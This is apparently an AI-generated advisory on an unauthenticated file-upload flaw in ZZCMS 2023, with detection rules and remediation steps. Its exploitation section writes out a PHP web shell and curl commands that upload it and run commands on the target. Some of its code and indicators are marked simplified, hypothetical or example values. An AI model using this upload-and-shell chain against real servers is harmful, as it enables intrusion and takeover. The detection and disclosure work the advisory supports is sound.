CVE-2024-10292

Executive Summary

CVE-2024-10292 is a critical unauthenticated arbitrary file upload vulnerability in ZZCMS 2023. The flaw resides in the /3/Ebak5.1/upload/ChangeTable.php file, where the savefilename parameter is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to full remote code execution, data exfiltration, and complete compromise of the web application. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct file upload flaw in a PHP-based CMS.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on the description and impact, the vector is estimated as:
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)
• Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The file ChangeTable.php is part of the Ebak5.1 backup/restore component. The savefilename parameter is used to specify the name of a file to be saved. Due to insufficient validation, an attacker can supply a filename with a malicious extension (e.g., .php, .phtml, .php5) and upload arbitrary content. The uploaded file is then accessible via the web server, allowing remote code execution.

The attack flow:

1. Attacker sends a POST request to /3/Ebak5.1/upload/ChangeTable.php with a crafted savefilename parameter (e.g., shell.php) and file content containing PHP code.
2. The server saves the file to a writable directory (likely within the web root).
3. Attacker accesses the uploaded file via HTTP, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS 2023):

// ChangeTable.php (simplified)
$filename = $_POST['savefilename'];
$content = $_POST['filecontent'];
file_put_contents($filename, $content);

Patched Code (Hypothetical):

// ChangeTable.php (patched)
$filename = basename($_POST['savefilename']);
$allowed_ext = ['txt', 'bak', 'sql'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_ext)) {
    die("Invalid file extension.");
}
$content = $_POST['filecontent'];
file_put_contents($filename, $content);

The patched version restricts file extensions and uses basename() to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ZZCMS 2023 with the Ebak5.1 component accessible.
• No authentication required.

Exploit Steps:

1. Craft a PHP web shell payload:

   <?php system($_GET['cmd']); ?>
   

2. Send the exploit request using curl:

   curl -X POST "http://target.com/3/Ebak5.1/upload/ChangeTable.php" \
   -d "savefilename=shell.php&filecontent=<?php system(\$_GET['cmd']); ?>"
   

3. Access the uploaded shell:

   curl "http://target.com/3/Ebak5.1/upload/shell.php?cmd=id"
   

Metasploit Module (Conceptual):

# Not provided, but can be created

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /3/Ebak5.1/upload/ChangeTable.php with unusual savefilename parameters (e.g., .php, .asp).
• Look for file creation events in the web root with unexpected extensions.
• Use the YARA and Sigma rules below.

Response:

• Immediately block access to the /3/Ebak5.1/ directory via web server configuration.
• Remove any unauthorized files.
• Apply input validation and file extension whitelisting.

Indicators of Compromise (IOCs)

• File Paths:
  • /3/Ebak5.1/upload/ChangeTable.php
  • /3/Ebak5.1/upload/shell.php (or similar)
• Network Indicators:
  • POST requests to /3/Ebak5.1/upload/ChangeTable.php with savefilename parameter containing .php or other executable extensions.
• File Hashes (Example):
  • shell.php MD5: e99a18c428cb38d5f260853678922e03
• Log Entries:
  • Apache/Nginx access logs showing POST /3/Ebak5.1/upload/ChangeTable.php with status 200.

Detection Engineering

YARA Rule

rule CVE_2024_10292_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-10292"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $php_shell = "<?php system("
        $php_shell2 = "<?php exec("
        $php_shell3 = "<?php shell_exec("
        $php_shell4 = "<?php passthru("
        $php_shell5 = "<?php eval("
        $php_shell6 = "<?php assert("
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-10292 Unrestricted File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-10292 via POST requests to ChangeTable.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/3/Ebak5.1/upload/ChangeTable.php'
        cs-uri-query|contains: 'savefilename='
    condition: selection
falsepositives:
    - Legitimate backup operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10292 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/3/Ebak5.1/upload/ChangeTable.php"; http_uri; content:"savefilename="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ebak5.1 component if not required. Remove or rename the /3/Ebak5.1/ directory.
2. Apply input validation to the savefilename parameter: whitelist allowed extensions (e.g., .txt, .bak, .sql) and use basename() to prevent path traversal.
3. Restrict file permissions on the upload directory to prevent execution of PHP files (e.g., via .htaccess or Nginx config).

Long-term Fix:

• Upgrade to a patched version of ZZCMS if available. Monitor vendor for updates.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious file extensions in the savefilename parameter.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.